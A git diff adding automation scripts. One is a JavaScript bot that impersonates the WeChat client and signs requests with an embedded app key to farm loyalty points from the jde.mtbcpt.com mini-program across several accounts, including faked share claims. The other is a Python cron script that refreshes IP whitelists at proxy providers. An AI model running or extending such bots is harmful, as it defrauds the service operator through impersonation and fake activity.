MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + } + }; + + let { data: result } = await axios.request(options) + + if (result?.state == true) { + + $.log(`🌸账号[${this.index}]` + `查询任务成功🎉`); + if (result.data.dailySign != 1) { + $.log(`${this.index}账号[${this.index}]` + `未签到`); + await this.signDailyScore() + + } else { + $.log(`${this.index}账号[${this.index}]` + `已签到`); + + + } + if (result.data.shareSign != 1) { + $.log(`${this.index}账号[${this.index}]` + `未分享`); + //分享 + await this.shareDailyScore() + } else { + $.log(`${this.index}账号[${this.index}]` + `已分享`); + + } + + } else { + $.log(`🌸账号[${this.index}]查询任务-失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + async signDailyScore() { + try { + let timestamp = Date.now(); + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/SignInDailyScore', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + } + }; + + let { data: result } = await axios.request(options) + + if (result?.state == true) { + + $.log(`🌸账号[${this.index}]` + `🕊${result.msg}🎉`); + } else { + $.log(`🌸账号[${this.index}]签到-失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + //分享加积分 + async shareDailyScore() { + try { + let timestamp = Date.now(); + let sign = md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: `https://jde.mtbcpt.com/api/JDEMaxwellApi/ShareDailyScore`, + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + "through": true, + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + } + + } + // + let { data: result } = await axios.request(options) + + if (result?.state == true) { + //打印签到结果 + $.log(`🌸账号[${user.index}]` + `🕊${result.msg}🎉`); + } if (result?.state == false) { + $.log(`🌸账号[${user.index}]分享-失败:${result.msg}❌`) + } + } catch (e) { + + } + } + async getUserFarmGetWaterList() { + try { + let timestamp = Date.now(); + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/getUserFarmGetWaterList', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + } + }; + + let { data: result } = await axios.request(options) + + if (result?.state == true) { + + $.log(`🌸账号[${this.index}]` + `查询农场任务成功🎉`); + for (let task of result.data.list) { + if (task.status != 3) { + $.log(`${this.index}账号[${this.index}][${task.taskName}]` + `未执行`); + if (task.ptype == 1) { + await this.farmSign() + } + if (task.ptype == 2) { + await this.farmShare() + } + } else { + $.log(`${this.index}账号[${this.index}][${task.taskName}]` + `已执行`); + + } + + } + + + + + + } else { + $.log(`🌸账号[${this.index}]查询任务-失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + //浇水签到 + async farmSign() { + try { + let timestamp = Date.now(); + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserSign', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + let { data: result } = await axios.request(options) + if (result?.state == true) { + + $.log(`🌸账号[${this.index}]` + `🕊水滴签到-领取成功${result.msg}🎉`); + } else { + $.log(`🌸账号[${this.index}]水滴签到-失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + //分享领水滴 + async farmShare() { + try { + let timestamp = Date.now(); + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserShare', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + + let { data: result } = await axios.request(options) + if (result?.state == true) { + + $.log(`🌸账号[${this.index}]` + `🕊任务分享领水滴-领取成功${result.msg}🎉`); + } else { + $.log(`🌸账号[${this.index}]任务分享领水滴-失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + //浇水 + async farmWatering() { + try { + let timestamp = Date.now(); + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserWatering', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + } + }; + + let { data: result } = await axios.request(options) + if (result?.state == true) { + + $.log(`🌸账号[${this.index}]` + `🕊浇水-成功${result.msg}🎉`); + } else { + $.log(`🌸账号[${this.index}]浇水-失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + async getUserPoint() { + try { + let timestamp = Date.now() + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMWMall/GetUserPoint', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": this.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + + let { data: result } = await axios.request(options) + if (result?.state == true) { + this.userFlag = false + $.log(`🌸账号[${this.index}]` + `🕊${result.msg}为[${result.data}]💰`); + } else { + $.log(`🌸账号[${this.index}]积分查询失败:${result.msg}❌`) + } + + } catch (e) { + + } + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/未分类/更新IP代理白名单/2025-06-28_IP代理自动加白名单_43bd456d.py b/脚本库/未分类/更新IP代理白名单/2025-06-28_IP代理自动加白名单_43bd456d.py new file mode 100644 index 0000000..bbb38dd --- /dev/null +++ b/脚本库/未分类/更新IP代理白名单/2025-06-28_IP代理自动加白名单_43bd456d.py @@ -0,0 +1,93 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/IP%E4%BB%A3%E7%90%86%E8%87%AA%E5%8A%A8%E5%8A%A0%E7%99%BD%E5%90%8D%E5%8D%95.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/IP%E4%BB%A3%E7%90%86%E8%87%AA%E5%8A%A8%E5%8A%A0%E7%99%BD%E5%90%8D%E5%8D%95.py +# Repo: jdqlscript/toulu +# Path: IP代理自动加白名单.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 43bd456df2b79f596b95d783ef7bc901b6205faa18166545bc972c65fc0983ec +# Category: 未分类 +# Evidence: 规则未命中 + +# cron: 10 */2 * * * +# new Env('更新IP代理白名单'); +#有问题联系3288588344 +#频道:https://pd.qq.com/s/672fku8ge + +#长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + + +import requests +import hashlib +import urllib.parse + + +JULIANG_KEY = '' # 填入巨量的 Key +JULIANG_TRADE_NO = '' # 填入巨量的 Trade No +XK_APIKEY = '' # 填入星空的 API Key +XK_SIGN = '' # 填入星空的 Sign +XIEQU_UID = '' # 填入携趣的 UID +XIEQU_UKEY = '' # 填入携趣的 UKEY + + +class SignKit: + + @staticmethod + def md5_sign(params, secret): + sign_content = SignKit.get_sign_content(params) + return hashlib.md5((sign_content + '&key=' + secret).encode('utf-8')).hexdigest() + + @staticmethod + def get_sign_content(params): + params.pop('sign', None) # 删除 sign + sorted_params = sorted(params.items()) + sign_content = '&'.join([f"{k}={str(v)}" for k, v in sorted_params if str(v) is not None and not str(v).startswith('@')]) + return sign_content + +def get_current_ip(): + response = requests.get('https://myip.ipip.net/json') + data = response.json() + return data['data']['ip'] + +def update_juliang_white_list(ip, JULIANG_KEY, JULIANG_TRADE_NO): + if JULIANG_KEY and JULIANG_TRADE_NO: + params = { + 'new_ip': ip, + 'reset': '1', + 'trade_no': JULIANG_TRADE_NO + } + sign = SignKit.md5_sign(params, JULIANG_KEY) + query_string = urllib.parse.urlencode(params) + "&sign=" + sign + + url = f'http://v2.api.juliangip.com/dynamic/replaceWhiteIp?{query_string}' + response = requests.get(url) + return response.text + +def update_xk_white_list(ip, XK_APIKEY, XK_SIGN): + if XK_APIKEY and XK_SIGN: + url = f'http://api2.xkdaili.com/tools/XApi.ashx?apikey={XK_APIKEY}&type=addwhiteip&sign={XK_SIGN}&flag=8&ip={ip}' + response = requests.get(url) + return response.text + +def update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY): + if XIEQU_UID and XIEQU_UKEY: + url = f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=get' + response = requests.get(url) + data = response.text + arr = data.split(',') + if ip not in arr: + requests.get(f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=del&ip=all') + response = requests.get(f'http://op.xiequ.cn/IpWhiteList.aspx?uid={XIEQU_UID}&ukey={XIEQU_UKEY}&act=add&ip={ip}') + return '更新xiequ白名单成功' if response.status_code == 200 else '更新xiequ白名单出错' + else: + return '携趣白名单ip未变化' + + +def main(): + ip = get_current_ip() + print('当前ip地址:', ip) + + print('更新巨量白名单结果:', update_juliang_white_list(ip, JULIANG_KEY, JULIANG_TRADE_NO)) + print('更新星空白名单结果:', update_xk_white_list(ip, XK_APIKEY, XK_SIGN)) + print('更新携趣白名单结果:', update_xiequ_white_list(ip, XIEQU_UID, XIEQU_UKEY)) + +if __name__ == "__main__": + main()